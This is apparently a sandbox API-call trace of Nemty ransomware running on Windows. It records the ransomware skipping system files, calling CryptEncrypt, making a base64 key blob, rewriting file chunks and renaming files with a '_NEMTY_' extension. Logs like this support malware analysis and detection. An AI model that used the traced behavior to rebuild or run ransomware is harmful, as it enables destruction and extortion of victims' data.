[0108.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.556] CloseHandle (hObject=0xffffffff) returned 0 [0108.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0108.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0108.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui._nemty_kgobjgd_")) returned 0 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.557] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="...") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="windows") returned -1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="rsa") returned -1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="NTDETECT.COM") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ntldr") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="MSDOS.SYS") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="IO.SYS") returned 1 [0108.557] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="boot.ini") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="boot.ini") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ntuser.dat") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="desktop.ini") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="CONFIG.SYS") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="RECYCLER") returned -1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="bootmgr") returned 1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="programdata") returned -1 [0108.558] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="appdata") returned 1 [0108.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0108.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0108.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0108.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0108.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0108.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0108.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.559] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0108.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0108.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0108.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0108.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0108.560] Sleep (dwMilliseconds=0x5) [0108.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf45ca6b0, dwHighDateTime=0x1d561e7)) [0108.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf45ca6b0, dwHighDateTime=0x1d561e7)) [0108.574] GetLastError () returned 0x5 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.574] GetLastError () returned 0x5 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.574] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0108.574] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="9Z5p/eLx5dQa9/6pEpd/UiLxn9smY9hv79WKvbsXjdKGu51rR3la78QFUFkhJ04h\r\n4bav+AcQaG4eIOxZaUSTFrmnR1t4e1jmool2PNr/yhm6GAzz4sihYwmuYYA4qDAK\r\nX07kAmhvdyN16HiFggI+v/zjIe/TiNAQie2P8wrUN9HuynzY4jk9CDAQ9z0DVgFU\r\n/ng29bINPaymooYTMuDVUB2xS2nsj+oPbmS7mycgA0BQxGUlCcWPydQS60Roz9Fa\r\nkNm8KtPAr/oKc6F39AEEsNOf7FGDGu2IrcNPu42+xqxYG8trlmeqYY9i0hAHy8yd\r\nWV/rMz7TG0fglThNy3vvdw==\r\n", pcchString=0x653ef9c) returned 1 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0108.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.574] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.575] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, 